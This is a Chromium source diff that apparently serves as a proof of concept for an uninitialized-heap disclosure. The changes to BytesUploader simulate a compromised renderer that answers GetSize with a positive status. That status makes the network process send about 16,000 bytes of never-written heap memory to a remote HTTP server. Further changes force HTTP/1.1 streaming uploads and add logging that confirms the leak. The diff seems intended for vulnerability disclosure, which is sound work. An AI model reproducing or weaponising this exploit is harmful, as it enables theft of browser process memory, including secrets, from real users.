diff --git a/net/http/http_stream_parser.cc b/net/http/http_stream_parser.cc index 938c099a9dc20..6780e02164076 100644 --- a/net/http/http_stream_parser.cc +++ b/net/http/http_stream_parser.cc @@ -21,6 +21,7 @@ #include "base/numerics/checked_math.h" #include "base/numerics/clamped_math.h" #include "base/numerics/safe_conversions.h" +#include "base/strings/string_number_conversions.h" #include "base/strings/string_tokenizer.h" #include "base/strings/string_util.h" #include "base/strings/string_view_util.h" @@ -546,6 +547,30 @@ int HttpStreamParser::DoSendRequestReadBodyComplete(int result) { DCHECK(upload_data_stream_->IsEOF()); sent_last_chunk_ = true; } + // POC LOGGING: This is the SINK. `result` came from the renderer's + // GetSize status. The buffer below is HeapArray::Uninit(). + if (result > 0) { + base::span leaked = request_body_read_buf_->first(result); + int nonzero = 0; + for (uint8_t b : leaked) { + if (b != 0) { + nonzero++; + } + } + std::string hex = base::HexEncode( + leaked.first(std::min(static_cast(result), size_t{32}))); + LOG(ERROR) << "[POC-NETWORK] HttpStreamParser::DoSendRequestReadBodyComplete:" + << " encoding " << result << " bytes from request_body_read_buf_" + << " (capacity=" << request_body_read_buf_->capacity() << ")" + << " -- nonzero_bytes=" << nonzero << "/" << result + << " first_32_hex=" << hex; + if (nonzero > 0) { + LOG(ERROR) << "[POC-NETWORK] *** LEAK CONFIRMED: " << nonzero + << " nonzero bytes in a buffer that was NEVER WRITTEN. " + "This is uninitialized network-process heap being sent " + "to the attacker's server. ***"; + } + } // Encode the buffer as 1 chunk. const std::string_view payload = base::as_string_view(request_body_read_buf_->first(result)); diff --git a/services/network/chunked_data_pipe_upload_data_stream.cc b/services/network/chunked_data_pipe_upload_data_stream.cc index a7e4eee1d1255..15d557bafb83f 100644 --- a/services/network/chunked_data_pipe_upload_data_stream.cc +++ b/services/network/chunked_data_pipe_upload_data_stream.cc @@ -175,6 +175,12 @@ void ChunkedDataPipeUploadDataStream::OnSizeReceived(int32_t status, DCHECK(!size_); DCHECK_EQ(net::OK, status_); + // POC LOGGING: Show the renderer-controlled status value on entry. + LOG(ERROR) << "[POC-NETWORK] OnSizeReceived: status=" << status + << " (positive=" << (status > 0 ? "YES-BUG" : "no") << ")" + << " buf_=" << (buf_ ? "SET-PENDING-READ" : "null") + << " buf_len_=" << buf_len_; + status_ = status; if (status == net::OK) { size_ = size; @@ -211,6 +217,11 @@ void ChunkedDataPipeUploadDataStream::OnSizeReceived(int32_t status, if (status_ < net::ERR_IO_PENDING) { LOG(ERROR) << "OnSizeReceived failed with Error: " << status_; } + // POC LOGGING: Show the value being passed up the stack as a "byte count". + LOG(ERROR) << "[POC-NETWORK] OnSizeReceived: calling OnReadCompleted(" + << status_ << ") -- if positive, HTTP stack will read this " + "many UNINITIALIZED bytes from request_body_read_buf_ and " + "send them on the wire"; OnReadCompleted(status_); // |this| may have been deleted at this point. diff --git a/third_party/blink/renderer/core/fetch/bytes_uploader.cc b/third_party/blink/renderer/core/fetch/bytes_uploader.cc index a2e954f135c3a..29582efad073c 100644 --- a/third_party/blink/renderer/core/fetch/bytes_uploader.cc +++ b/third_party/blink/renderer/core/fetch/bytes_uploader.cc @@ -64,15 +64,51 @@ void BytesUploader::StartReading( CloseOnError(); return; } + + // ==================================================================== + // POC: Uninitialized heap disclosure via positive GetSize status + // ==================================================================== + // Simulates a compromised renderer. Instead of streaming data through the + // pipe, we hold the producer handle open (so the network process's + // ReadInternal() sees MOJO_RESULT_SHOULD_WAIT and stores buf_), then after + // a delay we reply to GetSize with a POSITIVE status value. + // + // ChunkedDataPipeUploadDataStream::OnSizeReceived() blindly stores this + // positive value in status_ and calls OnReadCompleted(status_). The HTTP + // stack (HttpStreamParser::DoSendRequestReadBodyComplete) treats this as + // a byte count and reads request_body_read_buf_->first(result) -- but the + // buffer is HeapArray::Uninit() and was never written. + // + // Result: bytes of network-process heap are sent over the + // wire to our HTTP server. + // ==================================================================== + static const int32_t kPocLeakBytes = 16000; // must be <= 16372 (HTTP/1) + + LOG(ERROR) << "[POC-RENDERER] BytesUploader::StartReading: holding pipe " + "open without writing; scheduling malicious GetSize reply " + "with status=" << kPocLeakBytes; + + // Hold the producer handle open. Do NOT write. Do NOT close. + // The network process's data_pipe_->ReadData() will return + // MOJO_RESULT_SHOULD_WAIT, causing buf_ to be stored. upload_pipe_ = std::move(upload_pipe); - upload_pipe_watcher_.Watch( - upload_pipe_.get(), MOJO_HANDLE_SIGNAL_WRITABLE, - BindRepeating(&BytesUploader::OnPipeWriteable, WrapWeakPersistent(this))); - consumer_->SetClient(this); - if (consumer_->GetPublicState() == - BytesConsumer::PublicState::kReadableOrWaiting) { - WriteDataOnPipe(); - } + + // After a delay (giving network process time to send headers and call + // Read()), fire the GetSize reply with a positive status. + GetSizeCallback cb = std::move(get_size_callback_); + base::SingleThreadTaskRunner::GetCurrentDefault()->PostDelayedTask( + FROM_HERE, + base::BindOnce( + [](GetSizeCallback callback) { + LOG(ERROR) << "[POC-RENDERER] BytesUploader: firing GetSize " + "reply NOW with status=" + << kPocLeakBytes + << " (will be interpreted as byte count)"; + std::move(callback).Run(/*status=*/kPocLeakBytes, /*size=*/0); + }, + std::move(cb)), + base::Milliseconds(500)); + // ==================== END POC ==================== } void BytesUploader::ContextDestroyed() { diff --git a/third_party/blink/renderer/platform/loader/fetch/url_loader/request_conversion.cc b/third_party/blink/renderer/platform/loader/fetch/url_loader/request_conversion.cc index 626f878d761cf..5c92efd9aa4db 100644 --- a/third_party/blink/renderer/platform/loader/fetch/url_loader/request_conversion.cc +++ b/third_party/blink/renderer/platform/loader/fetch/url_loader/request_conversion.cc @@ -250,6 +250,10 @@ scoped_refptr NetworkResourceRequestBodyFor( dest_body->SetToChunkedDataPipe( ToCrossVariantMojoType(std::move(stream_body)), network::ResourceRequestBody::ReadOnlyOnce(true)); + // POC: A compromised renderer can set this flag to allow the streaming + // upload to use HTTP/1.1 (chunked transfer encoding), avoiding the need + // for an HTTP/2 server. Normally fetch() streaming uploads require H2/H3. + dest_body->SetAllowHTTP1ForStreamingUpload(true); } return dest_body; }